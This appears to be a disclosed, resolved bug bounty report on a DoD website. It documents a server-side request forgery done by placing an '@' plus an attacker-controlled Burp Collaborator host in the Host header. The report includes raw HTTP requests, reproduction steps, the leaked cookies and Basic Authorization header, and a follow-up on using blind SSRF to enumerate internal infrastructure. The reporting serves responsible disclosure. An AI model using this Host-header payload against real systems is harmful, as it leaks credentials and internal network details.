Summary:
A server side request forgery vulnerability appears to leak an internal IP address and tries to connect to an attacker controlled host.
Description:
In an normal request on this web pageGET /HTTP/1.1It will connect to the website as expected but if we use a @ on the host header like this
Host: www.████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG; googtrans=/en/zh-TW
Connection: close
Upgrade-Insecure-Requests: 1
GET / HTTP/1.1
Host: www.█████████:80@██████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
It'll attempt to connect to our website and leak various information.
On our server we would see this,
GET / HTTP/1.1
Host: ████████.burpcollaborator.net
Pragma: no-cache
Cache-Control: no-cache, no-transform
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG
X--------------: 1.1.1.1
Accept-Encoding: gzip, deflate, identity
Connection: Keep-Alive
Authorization: Basic d3d3LnZpLm5nYi5hcm15Lm1pbDo4MA==
X-BlueCoat-Via: 913daace1d652c00
Additionally we will see a DNS look up from this IP, 214.72.0.2 Which I confirmed to be DOD owned
Impact
Medium
Step-by-step Reproduction Instructions
We can reproduce this simply using www.████:80@yourhostname.com for the host header and we'll the see the results. As seen below
GET / HTTP/1.1
Host: www.████:80@yourwebsite.com
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
If you have burp suite pro, you can do this easily with burp collaborator
Product, Version, and Configuration (If applicable)
N/a
Suggested Mitigation/Remediation Actions
Refuse attempts to connect to other hosts.
Impact
This will allow attackers to gain access to an internal IP of a DOD website along with other sensitive information that may be leaked with the request

Hello, i'd like to give a bit of an update on this exploit. I figured out we can perform blind SSRF using this exploit.
If we use an https enabled website, We can trigger an SSL error which leads me to believe this website has the necessary capability to connect to other military websites either through the intranet or through clearnet. If we can query known military DNS it'll time out confirming it exists. I can do this with any DoD IP thus an attacker can enumerate the DoD internal infrastructure. I hope this is enough to bump the severity up a bit. Additionally We can use an IP I was able to pull from another report of mine to prove this theory,
If we use www.██████████:80@████████
We can use this to tunnel into internal networks and access intranet servers which I assume is accessible to NIPERNET if my understanding of the DoD intranet is correct
ag3nt-dc3 updated the severity from Low to Medium. Mar 16th (2 years ago)Good news!
The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.
Thank you for your time and effort to improve the security of the DoD information network.
